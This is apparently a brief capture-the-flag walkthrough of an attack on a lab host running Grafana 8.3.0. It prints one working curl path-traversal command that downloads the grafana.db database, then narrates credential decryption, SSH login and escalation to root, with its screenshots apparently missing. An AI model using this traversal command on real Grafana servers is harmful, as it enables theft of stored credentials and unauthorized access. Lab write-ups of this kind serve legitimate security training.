3000

We have grafana 8.3.0 vulnerable to LFI

curl http://192.168.182.181:3000/public/plugins/alertlist/../../../../../../../../../../../../..//var/lib/grafana/grafana.db --path-as-is -o grafana.db

Now we have grafana.db

Checking data_source table: We have a hashed credential

Using this exploit We can decrypt it:

Now trying ssh:

Now checking groups we belong to: We can get access to root files:

Now we can access root through ssh:

Last updated

Was this helpful?